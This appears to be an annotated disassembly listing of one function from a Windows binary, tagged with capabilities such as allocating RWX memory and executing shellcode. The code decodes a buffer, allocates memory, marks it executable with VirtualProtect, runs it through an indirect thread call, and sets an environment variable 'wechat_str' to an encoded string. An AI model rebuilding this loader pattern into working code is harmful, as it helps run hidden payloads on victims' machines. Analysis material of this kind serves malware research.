Function at 0x140162838
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Set environment variable

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x748
call fcn.14016395c
lea rcx, [rsp + 0x450]
call fcn.140323790
nop
mov rdx, qword [rsp + 0x750]
lea rcx, [rsp + 0x1b0]
call fcn.140159e90
nop
lea rax, [rsp + 0x1d0]
mov r8, rax
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x2b0]
call fcn.14015a660
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x190], xmm0
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x278]
call fcn.14015ba8c
nop
lea r9, [fcn.14015db0c]
mov r8d, 1
mov edx, 0x20
lea rcx, [rsp + 0x1b0]
call fcn.140385cfc
lea r8, [0x1404f4798]
lea rdx, [0x1403c3f18]
lea rcx, [rsp + 0x2c0]
call fcn.14013cbb4
nop
lea rax, [rsp + 0x300]
mov r8, rax
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0x2a0]
call fcn.14015a660
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1a0], xmm0
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x120]
call fcn.14015aa8c
nop
lea r9, [fcn.14015dee4]
mov r8d, 1
mov edx, 0x40
lea rcx, [rsp + 0x2c0]
call fcn.140385cfc
lea rdx, [rsp + 0x278]
lea rcx, [rsp + 0x450]
call fcn.1403248c0
xor edx, edx
lea rcx, [rsp + 0x31]
call fcn.140158a0c
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x450]
call fcn.1403248f0
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x450]
call fcn.140324190
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x450]
call fcn.140323fa0
nop
lea rcx, [rsp + 0x32]
call fcn.140141748
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x328]
call fcn.140176b88
mov rax, qword [rax]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x328]
call fcn.1401714dc
mov rax, qword [rax]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x78], rax
mov r9, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x148]
call fcn.14013d76c
nop
lea rdx, str.AAAAAAAAAAAAAAAAAAAAAMikvoYNivtI5mUhVKcArsj8G7JOyCZYGf2oLDPexlhJEE4ZsKr8izU8wHiQx3JQ1seT9xSbhKEIZQi0JTM
lea rcx, str.wechat_str
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov r9d, 6
lea r8, [0x1404f4818]
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0x30]
call fcn.140181a54
nop
lea rcx, [rsp + 0x33]
call fcn.140141748
mov qword [rsp + 0x90], rax
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x148]
call fcn.140176c50
mov rax, qword [rax]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x98], rax
lea rdx, [rsp + 0x178]
lea rcx, [rsp + 0x148]
call fcn.14017158c
mov rax, qword [rax]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xa0], rax
mov r9, qword [rsp + 0x90]
mov r8, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x238]
call fcn.14013d66c
nop
lea r8, [rsp + 0x238]
lea rdx, [rsp + 0x1d8]
lea rcx, [rsp + 0x34]
call fcn.1401639ec
nop
lea r8, [rsp + 0x1d8]
lea rdx, [rsp + 0x218]
lea rcx, [rsp + 0x30]
call fcn.140171224
nop
lea rcx, [rsp + 0x108]
call fcn.14015b180
nop
lea r9, [rsp + 0x108]
lea r8, [rsp + 0x218]
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0x30]
call fcn.14017058c
lea rcx, [rsp + 0x35]
call fcn.140141748
mov qword [rsp + 0xb8], rax
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x108]
call fcn.140176c50
mov rax, qword [rax]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xc0], rax
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x108]
call fcn.14017158c
mov rax, qword [rax]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xc8], rax
mov r9, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
lea rcx, [rsp + 0x1f8]
call fcn.14013d8f0
nop
lea r8, [rsp + 0x1f8]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x30]
call fcn.140179a2c
nop
lea rcx, [rsp + 0x130]
call fcn.14014a628
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x130]
call fcn.14017f8a8
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
call fcn.140164570
mov rax, qword [0x1404f4768]
mov qword [rsp + 0xd8], rax
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [rsp + 0x40]
xor ecx, ecx
call qword [rsp + 0xd8]
mov qword [rsp + 0x38], rax
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0x38]
call fcn.1403bd2c0
lea r9, [rsp + 0x50]
mov r8d, 0x20
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [0x1404f4778]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [rsp + 0xe8]
mov qword [rsp + 0x48], rax
mov rax, qword [0x1404f4780]
mov qword [rsp + 0xf0], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x48]
call qword [rsp + 0xf0]
mov rax, qword [0x1404f4788]
mov qword [rsp + 0xf8], rax
mov rcx, qword [rsp + 0x48]
call qword [rsp + 0xf8]
mov rax, qword [0x1404f4790]
mov qword [rsp + 0x100], rax
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [rsp + 0x100]
nop
lea rcx, [rsp + 0x130]
call fcn.14015e2b0
nop
lea rcx, [rsp + 0x1f8]
call fcn.14015db0c
nop
lea rcx, [rsp + 0x108]
call fcn.14015e2b0
nop
lea rcx, [rsp + 0x218]
call fcn.14015db0c
nop
lea rcx, [rsp + 0x1d8]
call fcn.14015db0c
nop
lea rcx, [rsp + 0x238]
call fcn.14015db0c
nop
lea rcx, [rsp + 0x258]
call fcn.14015db0c
nop
lea rcx, [rsp + 0x148]
call fcn.14015e2b0
nop
lea rcx, [rsp + 0x310]
call fcn.14015e504
nop
lea rcx, [rsp + 0x120]
call fcn.14015ddd4
nop
lea rcx, [rsp + 0x278]
call fcn.14015e3d4
nop
lea rcx, [rsp + 0x450]
call fcn.14015e5b0
nop
mov rcx, qword [rsp + 0x750]
call fcn.14015db0c
add rsp, 0x748
ret